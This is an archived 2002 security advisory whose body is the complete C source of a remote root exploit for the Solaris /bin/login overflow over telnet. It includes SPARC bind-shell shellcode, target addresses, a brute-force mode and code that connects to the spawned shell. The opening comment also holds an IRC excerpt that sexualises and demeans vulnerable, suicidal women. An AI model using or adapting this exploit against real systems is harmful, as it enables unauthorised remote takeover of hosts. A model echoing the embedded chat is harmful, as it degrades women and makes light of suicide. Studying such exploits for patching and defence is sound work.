Title 23/3/2002 Solaris Login Remote Exploit (via telnetd) Summary As we reported in our previous article: Buffer Overflow in /bin/login, a security vulnerability in the product allows remote attackers to cause an overflow in the /bin/login binary causing it to execute arbitrary code, thus allowing gaining of arbitrary privileges. Details Exploit: /* Solaris /bin/login array mismanagement exploit by morgan@sexter.com compile: use -DSOLARIS if your running it on a big endian system.... friendly advice to find that special someone: [ronin(ronin@segfault.net)] think if i make 'the lonely hearts club' at college... [ronin(ronin@segfault.net)] it'll have a psych. effect on chicks? [msg(ronin)] you'd get all the suicidal chicks [ronin(ronin@segfault.net)] they have like clubs and shit... chess clubs, sport, rollerblading, etc. [ronin(ronin@segfault.net)] u can make ur own [msg(ronin)] yah.. most schools do [ronin(ronin@segfault.net)] they should be the best in bed [ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion [ronin(ronin@segfault.net)] and all that angst [msg(ronin)] always thinking [ronin(ronin@segfault.net)] can be harnessed for sexual gratification [msg(ronin)] your a quite a sexual trickster [ronin(ronin@segfault.net)] plus [ronin(ronin@segfault.net)] suicidal = pain [ronin(ronin@segfault.net)] pain = bdsm [ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed [msg(ronin)] /me wanders off slowly [ronin(ronin@segfault.net)] but suicidal chicks like to cover the full spectrum of pain [ronin(ronin@segfault.net)] and pain and pleasure are one greets: matthew, pioneering the pinkhat movement... ryan&drago, reading telnet rfcs for me.. ron1n, OMG! You're in school now!@#$! The metaray, level 6 on everquest now! blueboar, for his exquisite mailing list.. antisec for being so darn hackerifically ethical... keep up the faith and arcanum the aim sexual predator... */ #include #include #include #include #include #include #include #include #include #include #define NOPS 8 struct { char *name; unsigned long reta; unsigned long retl; }targets[] = { { "SunOS 5.7... local", 0xffbef85c, 0x20026fc8}, { "SunOS 5.7... remote", 0xffbef8bc, 0x20026fc8}, { "SunOS 5,7... remote 2", 0xffbef824, 0x20026fc8}, { NULL, 0, 0 } }; unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */ "\x10\x80\x00\x03" /* b foolabel */ "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ /* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */ "\xa0\x23\xa0\x10" /* sub %sp, 16, %l0 */ "\xae\x23\x80\x10" /* sub %sp, %l0, %l7 */ "\xee\x23\xbf\xec" /* st %l7, [%sp - 20] */ "\x82\x05\xe0\xd6" /* add %l7, 214, %g1 */ "\x90\x25\xe0\x0e" /* sub %l7, 14, %o0 */ "\x92\x25\xe0\x0e" /* sub %l7, 14, %o1 */ "\x94\x1c\x40\x11" /* xor %l1, %l1, %o2 */ "\x96\x1c\x40\x11" /* xor %l1, %l1, %o3 */ "\x98\x25\xe0\x0f" /* sub %l7, 15, %o4 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\xa4\x1a\x80\x08" /* xor %o2, %o0, %l2 */ "\xd2\x33\xbf\xf0" /* sth %o1, [%sp - 16] */ "\xac\x10\x27\xd1" /* mov 2001, %l6 */ "\xec\x33\xbf\xf2" /* sth %l6, [%sp - 14] */ "\xc0\x23\xbf\xf4" /* st %g0, [%sp - 12] */ "\x82\x05\xe0\xd8" /* add %l7, 216, %g1 */ "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */ "\x94\x1a\xc0\x17" /* xor %o3, %l7, %o2 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x82\x05\xe0\xd9" /* add %l7, 217, %g1 */ "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ "\x92\x25\xe0\x0b" /* sub %l7, 11, %o1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x82\x05\xe0\xda" /* add %l7, 218, %g1 */ "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */ "\x94\x23\xa0\x14" /* sub %sp, 20, %o2 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\xa6\x1a\xc0\x08" /* xor %o3, %o0, %l3 */ "\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */ "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ "\x94\x02\xe0\x01" /* add %o3, 1, %o2 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ "\x94\x02\xe0\x02" /* add %o3, 2, %o2 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ "\x82\x02\xe0\x17" /* add %o3, 23, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ "\x82\x02\xe0\x3b" /* add %o3, 59, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ "\x82\x02\xe0\x01" /* add %o3, 1, %g1 */ "\x91\xd0\x38\x08" /* ta 0x8 */ ; static char nop[]="\x80\x1c\x40\x11"; void usage(char **argv) { int i; fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n"); fprintf(stderr, "usage: %s \n", argv[0]); fprintf(stderr, "\t-r \n"); fprintf(stderr, "\t-l \n"); fprintf(stderr, "\t-p \n"); fprintf(stderr, "\t-t \n"); fprintf(stderr, "\t-e [for local /bin/login execution mode check for +s]\n"); fprintf(stderr, "\t%s -e | /bin/login\n", argv[0]); fprintf(stderr, "\t-b brute force mode\n\n"); fprintf(stderr, "targets are...\n"); for(i=0; targets[i].name; i++) fprintf(stderr, "\t%d) %s\n", i, targets[i].name); fprintf(stderr, "\n"); exit(0); } void die(char *error) { fprintf(stderr, "Error: %s\n", error); fprintf(stderr, "Program aborting..\n"); exit(0); } void shift(unsigned long *addr) { unsigned long tmp; tmp = *addr >> 24; tmp += *addr << 8 >> 24 << 8; tmp += *addr << 16 >> 24 << 16; tmp += *addr << 24; *addr = tmp; return; } int write_with_iac(int fd, char *buff, int s) { int i; unsigned char c=0, pt; for (i=0; ih_addr, sizeof(h->h_addr)); if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == -1) return sock; if (connect (sock, (struct sockaddr *)&s, sizeof(s)) == -1) { close (sock); return -1; } write(sock, commands, strlen(commands)); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sock, &fds); select(255, &fds, NULL, NULL, NULL); if(FD_ISSET(sock, &fds)) { memset(buf, 0x0, sizeof(buf)); r = read (sock, buf, sizeof(buf) - 1); if(r <= 0) { fprintf(stderr, "Connection closed.\n"); exit(0); } fprintf(stderr, "%s", buf); } if(FD_ISSET(fileno(stdin), &fds)) { memset(buf, 0x0, sizeof(buf)); read(fileno(stdin), buf, sizeof(buf) - 1); write(sock, buf, strlen(buf)); } } return sock; } int do_telnet_negotation(char *host, int port) { struct sockaddr_in s; int fd, ret; u_char c, buf[3]; struct hostent *h; s.sin_family = AF_INET; s.sin_port = htons(port); s.sin_addr.s_addr = inet_addr(host); if ((h=gethostbyname(host)) == NULL) { fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno)); return -1; } memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr)); if ( (fd = socket (AF_INET, SOCK_STREAM, 0)) == -1) return fd; if (connect (fd, (struct sockaddr *)&s, sizeof(s)) == -1) { close (fd); return -1; } // send DONT's for all the DO's... ;) send_ww(fd, TELOPT_TTYPE, WONT); send_ww(fd, TELOPT_NAWS, WONT); send_ww(fd, TELOPT_XDISPLOC, WONT); send_ww(fd, TELOPT_NEW_ENVIRON, WONT); send_ww(fd, TELOPT_OLD_ENVIRON, WONT); send_ww(fd, TELOPT_BINARY, WILL); return fd; } int setup_exploit(char *buffer, unsigned long retl, unsigned long reta, int bf) { int i,j; char *ptr; char buf[3000]; char blah[512]; unsigned long *a; unsigned long strncpy_addr = 0xffbef2a8; unsigned long chunk_size = 0xffffffd5; unsigned long chunk = 0xfffffff0; unsigned long free_addr = 0x20026eec; #ifndef SOLARIS shift(&strncpy_addr); shift(&chunk_size); shift(&chunk); shift(&free_addr); #endif fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n"); fprintf(stderr, " I've brought more terror to this network then Shdwknght to a chinese food buffet.\n\n"); if(!bf) { fprintf(stderr, "using %#x as return address\n", reta); fprintf(stderr, "using %#x as return location\n", retl); } else fprintf(stderr, "trying return address %#x\n", reta); memset(&buf[0], 0x41, 512); // SETUP FIRST CHUNK // size -44+1 ptr = &buf[36]; memcpy(ptr, &chunk_size, 4); // SETUP CHUNK numbah 2 retl -= 32; reta -= 8; #ifndef SOLARIS shift(&retl); shift(&reta); #endif ptr = buf; memcpy(ptr, &chunk, 4); // second addr free'd memcpy(ptr+4, &free_addr, 4); memcpy(ptr+8, (void *)&retl, 4); memset(ptr+16, 0xff, 4); memcpy(ptr+32, (void *) &reta, 4); // fake chunk built.. setting up overflow.. for(i=0; i < 256; i++) { if( i < 63 || i > 190) blah[i] = 0x41; else { blah[i++] = 0x20; blah[i] = 0x41; } } //free addr 1 send in addr of mem memcpy(blah+252, &free_addr, 4); memcpy(blah+204, &strncpy_addr, 4); blah[256] = 0x00; // add shellcode to end of buf // pad with nops.. more is better... but not too many.. for(i=511-sizeof(shellcode)-2-4*NOPS; i < 511-sizeof(shellcode); i+=4) memcpy(&buf[i], nop, sizeof(nop)-1); memcpy(&buf[511-sizeof(shellcode)-2], shellcode, sizeof(shellcode)); // convert nulls to space.. for(i=0,j=0;i<511;i++) { if(buf[i] == 0x00) { buf[i] = 0x20; j++; } } buf[511] = 0x00; sprintf(buffer,"%s%s\n", &blah,&buf); return; } int main(int argc, char **argv) { int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001; char out[1024]; char in[24]; char ret[] = "\x0a"; char *host; unsigned char bshell = 0xd5; char cc; unsigned long reta, retl; FILE *login; retl = 0x20026fc8; reta = 0xffbef864; if(argc < 2) usage(argv); while((c = getopt(argc, argv, "r:l:p:et:b")) != EOF){ switch(c){ case 'r': reta = strtoul(optarg, NULL, 0); break; case 'l': retl = strtoul(optarg, NULL, 0); break; case 'p': port = atoi(optarg); break; case 'e': local=1; break; case 't': type = atoi(optarg); if(type < 0 || type > 2){ fprintf(stderr, "invalid target\n"); usage(argv); exit(0); } if(strstr(targets[type].name, "local")) local = 1; retl = targets[type].retl; reta = targets[type].reta; break; case 'b': bf=1; break; } } if(!local) { if(!argv[optind] || !*argv[optind]) usage(argv); host = argv[optind]; } if(local) { fprintf(stderr, "Local execution mode.. make sure to run %s [args] | /bin/login\n", argv[0]); fprintf(stderr, "first wait for Password: prompt.. hit enter then,"); fprintf(stderr, "wait for Login incorrect, and attempt to connect to localhost on %d\n", remp); } if(bf) { reta = 0xffbef800; } for(;reta < 0xffbef8ff; reta+=4) { memset(out, 0, sizeof(out)); setup_exploit(out, retl, reta, bf); if(local) { if(bf) { fprintf(stderr, "not supported do it manually you lazy fuck\n"); exit(0); } printf("%s", out); } else { char *ptr=in; fd = do_telnet_negotation (host, port); memset(in, 0, sizeof(in)); while (!strstr(ptr, ":")) { if(ptr==&in[0]) { memset(in, 0, sizeof(in)); if(read(fd, in, sizeof(in)-2) < 0) die("Failed read waiting for login: "); } for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr = &in[0]; else ptr++; } memset(in, 0, sizeof(in)); fprintf(stdout, "Read login, sending bad user string now\n"); write_with_iac(fd, out, strlen(out)); fprintf(stdout, "waiting for password... "); while (!strstr(ptr, ":")) { if(ptr==&in[0]) { memset(in, 0, sizeof(in)); if(read(fd, in, sizeof(in)-2) < 0) die("Failed read waiting for password: "); } for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr = &in[0]; else ptr++; } memset(in, 0, sizeof(in)); fprintf(stdout, "read Password: \nsending enter now\n"); if(write(fd, ret, strlen(ret)) < 0) die("Write failed on password"); fprintf(stdout, "Sent overflow string.... waiting for Login incorrect\n"); while (!strstr(ptr, "correct")) { if(ptr==&in[0]) { memset(in, 0, sizeof(in)); if(read(fd, in, sizeof(in)-2) < 0) die("Failed read waiting for Login Incorrect "); } for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr = &in[0]; else ptr++; } fprintf(stdout, "Got it!\n"); fprintf(stdout, "lets connect to our bindshell..\n"); close(connect_shell(host, remp)); close(fd); } if(!bf) return; } fprintf(stderr, "connection closed.\n"); return; }